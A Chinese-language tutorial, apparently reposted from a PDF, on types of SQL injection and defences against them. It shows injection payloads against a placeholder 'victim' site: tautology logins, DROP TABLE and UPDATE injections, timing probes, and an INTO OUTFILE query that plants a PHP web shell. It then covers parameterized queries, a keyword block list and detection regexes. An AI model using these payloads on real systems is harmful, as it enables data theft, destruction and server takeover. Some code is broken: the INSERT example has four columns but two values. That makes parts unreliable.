web攻击之三:SQL注⼊攻击的种类和防范⼿段
观察近来的⼀些安全事件及其后果,安全专家们已经得到⼀个结论,这些威胁主要是通过SQL注⼊造成的。虽然前⾯有许多⽂章讨论了SQL 注⼊,但今天所讨论的内容也许可帮助你检查⾃⼰的,并采取相应防范措施。
SQL注⼊攻击的种类
1
内联注⼊是指向查询注⼊⼀些SQL 代码后,原来的查询仍然会全部执⾏。
1.1、字符串内联注⼊
例⼦,
通过下⾯的sql,把users 表中所有密码都更新为new_password,相当严重
UPDATE users
SET password ='new_password'
WHERE username ='Bob'and password ='old_password'OR'1'='1'
1.2、数字值内联注⼊
请注意,注⼊数字时不需要添加开始和结尾的单引号定界符。
SELECT*
FROM messages
WHERE uid=45or1=1/* 永真条件 */
ORDER BY received;
由于注⼊了永真条件(or 1=1),因⽽数据库将返回message 表中所有的⾏,⽽不仅仅是那些发送给某个⽤户的⾏
2
终⽌式SQL 注⼊是指攻击者在注⼊SQL 代码时,通过将原查询语句的剩余部分注释掉,从⽽成功结束原来的查询语句。
例⼦,注⼊“' or 1=1;--”代码:
SELECT*
FROM administrators
WHERE username =''or1=1;-- ' AND password = '';
由于存在 1=1 永真条件,该语句将返回administrators 表中所有的⾏。
SELECT*
FROM administrators
WHERE username ='admin'/*' AND password = '*/'';
有时您会发现在某些场合⽆法使⽤双连字符(—)。
在这种情况下,可以使⽤多⾏注释(/* */)来替换SQL语句中原来的注释。
该技术要求存在多个易受攻击的参数,⽽且您要了解这些参数在SQL 语句中的位置。
执⾏多条语句
SQL Server 6.0 在其架构中引⼊了服务端游标,从⽽允许在同⼀连接句柄上执⾏包含多条语句的字符串。
所有6.0 之后的SQL Server 版本均⽀持该功能且允许执⾏下列语句:
SELECT foo FROM bar; SELECT foo2 FROM bar2;
MySQL 在4.1 及之后的版本中也引⼊了该功能,但它在默认情况下并不⽀持该功能。
要利⽤该技术,您⾸先需要能够终⽌第⼀条语句,这样您之后才可以连接任意的SQL 代码。
例⼦,
www.victim/search.php?s=test';SELECT '<?php echo shell_
exec($_GET["cmd"]);?>' INTO OUTFILE '/var/www/victim/shell.
php';--
3
时间延迟是⼀种很强⼤的技术,Web 服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可⽤它来确认是否存在SQL 注⼊。该技术尤其适合盲注。
Microsoft SQL Server 服务器包含⼀条向查询引⼊延迟的内置命令:WAITFOR DELAY 'hours:minutes:seconds'。例如,向Victim 公司的Web 服务器发送下列请求,服务器的响应⼤概要花5 秒:
sql语句替换表中内容www.victim/basket.aspx?uid=45;waitfor delay '0:0:5';--
服务器响应中的延迟使我们确信我们正在向后台数据库注⼊ SQL 代码
MySQL 数据库没有与WAITFOR DELAY 等价的命令,但它可以使⽤执⾏时间很长的函数来引⼊延迟。BENCHMARK 函数是很好的选择mysql> SELECT BENCHMARK(10000000,ENCODE('hello','mom'));
常见⽰例
1.没有正确过滤转义字符
在⽤户的输⼊没有为转义字符过滤时,就会发⽣这种形式的注⼊式攻击,它会被传递给⼀个SQL语句。
这样就会导致应⽤程序的终端⽤户对数据库上的语句实施操纵。⽐⽅说,下⾯的这⾏代码就会演⽰这种漏洞:
statement := "SELECT*FROM users WHERE name ='" + userName + "'; "
这种代码的设计⽬的是将⼀个特定的⽤户从其⽤户表中取出,但是,如果⽤户名被⼀个恶意的⽤户⽤⼀种特定的⽅式伪造,这个语句所执⾏的操作可能就不仅仅是代码的作者所期望的那样了。例如,将⽤户名变量(即username)设置为:
a' or 't'='t,此时原始语句发⽣了变化:
SELECT*FROM users WHERE name ='a'OR't'='t';
如果这种代码被⽤于⼀个认证过程,那么这个例⼦就能够强迫选择⼀个合法的⽤户名,因为赋值't'='t永远是正确的。
在⼀些SQL服务器上,如在SQL Server中,任何⼀个SQL命令都可以通过这种⽅法被注⼊,包括执⾏多个语句。下⾯语句中的username的值将会导致删除“users”表,⼜可以从“data”表中选择所有的数据(实际上就是透露了每⼀个⽤户的信息)。
a'; DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
这就将最终的SQL语句变成下⾯这个样⼦:
SELECT*FROM users WHERE name ='a'; DROP TABLE users; SELECT*FROM DATA WHERE name LIKE'%';
其它的SQL执⾏不会将执⾏同样查询中的多个命令作为⼀项安全措施。这会防⽌攻击者注⼊完全独⽴的查询,不过却不会阻⽌攻击者修改查询。
2.Incorrect type handling
如果⼀个⽤户提供的字段并⾮⼀个强类型,或者没有实施类型强制,就会发⽣这种形式的攻击。当在⼀个SQL语句中使⽤⼀个数字字段时,如果程序员没有检查⽤户输⼊的合法性(是否为数字型)就会发⽣这种攻击。例如:
statement := "SELECT*FROM data WHERE id = " + a_variable + "; "
从这个语句可以看出,作者希望a_variable是⼀个与“id”字段有关的数字。不过,如果终端⽤户选择⼀个字符串,就绕过了对转义字符的需要。例如,将a_variable设置为:1; DROP TABLE users,它会将“users”表从数据库中删除,SQL语句变成:
SELECT*FROM DATA WHERE id =1; DROP TABLE users;
3.数据库服务器中的漏洞
有时,数据库服务器软件中也存在着漏洞,如MYSQL服务器中mysql_real_escape_string()函数漏洞。这种漏洞允许⼀个攻击者根据错误的统⼀字符编码执⾏⼀次成功的SQL注⼊式攻击。
4.盲⽬SQL注⼊式攻击
当⼀个Web应⽤程序易于遭受攻击⽽其结果对攻击者却不见时,就会发⽣所谓的盲⽬SQL注⼊式攻击。有漏洞的⽹页可能并不会显⽰数据,⽽是根据注⼊到合法语句中的逻辑语句的结果显⽰不同的内容。这种攻击相当耗时,因为必须为每⼀个获得的字节⽽精⼼构造⼀个新的
语句。但是⼀旦漏洞的位置和⽬标信息的位置被确⽴以后,⼀种称为Absinthe的⼯具就可以使这种攻击⾃动化。
5.条件响应
注意,有⼀种SQL注⼊迫使数据库在⼀个普通的应⽤程序屏幕上计算⼀个逻辑语句的值:
SELECT booktitle FROM booklist WHERE bookId ='OOk14cd'AND1=1
这会导致⼀个标准的⾯⾯,⽽语句
SELECT booktitle FROM booklist WHERE bookId ='OOk14cd'AND1=2
在页⾯易于受到SQL注⼊式攻击时,它有可能给出⼀个不同的结果。如此这般的⼀次注⼊将会证明盲⽬的SQL注⼊是可能的,它会使攻击者根据另外⼀个表中的某字段内容设计可以评判真伪的语句。
6.条件性差错
如果WHERE语句为真,这种类型的盲⽬SQL注⼊会迫使数据库评判⼀个引起错误的语句,从⽽导致⼀个SQL错误。例如:
SELECT1/0FROM users WHERE username='Ralph'
显然,如果⽤户Ralph存在的话,被零除将导致错误。
防御和检查SQL注⼊的⼿段
⼀、参数化SQL
是指在设计与数据库链接并访问数据时,在需要填⼊数值或数据的地⽅,使⽤参数 (Parameter) 来给值,⽤@来表⽰参数。
在使⽤参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的⼀部份来处理,⽽是在数据库完成 SQL 指令的编译后,才套⽤参数运⾏,因此就算参数中含有恶意的指令,由于已经编译完成,就不会被数据库所运⾏,因此,可从⼀定程度上避免SQL注⼊。(注意:只是⼀定程度上避免,仍有例外)
在不⽤的数据库上基本语法都是⼀样的,但在不同的运⾏平台上客户端的书写有不同之处,举例使⽤SQL server在上执⾏。SqlCommand sqlcmd = new SqlCommand("INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2)", sqlconn);
sqlcmd.Parameters.AddWithValue("@c1", 1); ' 设定参数 @c1 的值。
sqlcmd.Parameters.AddWithValue("@c2", 2); '设定参数@c2的值。
sqlconn.Open();
sqlcmd.ExecuteNonQuery();
sqlconn.Close();
注意:
1、如果存储过程中使⽤字符串拼接sql的话,上⾯的参数化将不会起作⽤,单引号必须经过判断并替换,在数据库中,⽤2个单引号代表1个实际的单引号。所以,如果是拼接sql字符串的⽅式,需要⽤Replace(@para,'''', '''''')来替换⼀下,将1个单引号替换为2个就没有问题了。
2、使⽤这种参数化查询的办法,防⽌SQL注⼊的任务就交给ADO.NET了, 如果在项⽬中统⼀规定必须使⽤参数化查询,就不⽤担⼼因个别程序员的疏忽导致的SQL注⼊漏洞了。但是,问题还没有完,SQL注⼊的漏洞是堵住了,但是查询结果的正确性,参数化查询并不能帮上什么忙。
⼆、字符串过滤(在上⾯⽅法不能阻⽌的情况下,可以使⽤该⽅法,不推荐使⽤)
  //字符串过滤,防⽌sql注⼊。
public bool IsHasSQLInject(string str)
{
bool isHasSQLInject = false;
    //字符串中的关键字更具需要添加
string inj_str = "'|and|exec|union|create|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|xp_|or|--|+";
str = str.ToLower().Trim();
string[] inj_str_array = inj_str.Split('|');
foreach (string sql in inj_str_array)
{
if (str.IndexOf(sql) > -1)
{
isHasSQLInject = true;
break;
}
}
return isHasSQLInject;
}
三、使⽤正则表达式过滤传⼊的参数(这个⽅法没有亲⾃验证,从⽹上来的)
下⾯是具体的正则表达式:
检测SQL meta-characters的正则表达式:/(\%27)|(\’)|(\-\-)|(\%23)|(#)/ix
修正检测SQL meta-characters的正则表达式:/((\%3D)|(=))[^\n]*((\%27)|(\’)|(\-\-)|(\%3B)|(:))/i
典型的SQL 注⼊攻击的正则表达式:/\w*((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix
检测SQL注⼊,UNION查询关键字的正则表达式:/((\%27)|(\’))union/ix(\%27)|(\’)
检测MS SQL Server SQL注⼊攻击的正则表达式:/exec(\s|\+)+(s|x)p\w+/ix
结合Regular Expression使⽤,简称RE是⼀种⾮常强⼤的⽂字验证技术。If Re.Mathc(str,pattern).Suc
cess Then 继续执⾏,这⾥使⽤Match ⽅法来对⽤户输⼊的内容与定义好的模板进⾏验证。
2.还要避免使⽤解释程序,因为这正是⿊客们借以执⾏⾮法命令的⼿段。
3.防范SQL注⼊,还要避免出现⼀些详细的错误消息,因为⿊客们可以利⽤这些消息。要使⽤⼀种标准的输⼊确认机制来验证所有的输⼊数据的长度、类型、语句、企业规则等。
4.使⽤专业的漏洞扫描⼯具。但防御SQL注⼊攻击也是不够的。攻击者们⽬前正在⾃动搜索攻击⽬标并实施攻击。其技术甚⾄可以轻易地被应⽤于其它的Web架构中的漏洞。企业应当投资于⼀些专业的漏洞扫描⼯具,如⼤名⿍⿍的Acunetix的Web漏洞扫描程序等。⼀个完善的漏洞扫描程序不同于⽹络扫描程序,它专门查⽹站上的SQL注⼊式漏洞。最新的漏洞扫描程序可以查最新发现的漏洞。
5.最后⼀点,企业要在Web应⽤程序开发过程的所有阶段实施代码的安全检查。⾸先,要在部署Web应⽤之前实施安全测试,这种措施的意义⽐以前更⼤、更深远。企业还应当在部署之后⽤漏洞扫描⼯具和站点监视⼯具对⽹站进⾏测试。
sql注⼊漏洞的知名扫描⼯具
上⾯提到过sqlmap,它既可以作为SQL盲注的⼯具,也可以在新项⽬上线前内部扫⼀次,提前发现潜在漏洞,及时修补,反过来为我们所⽤。其他可以检测sql注⼊漏洞的知名扫描⼯具有: SQLIer、SQ
LID、SQL Power Injector、SQLNinja 。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。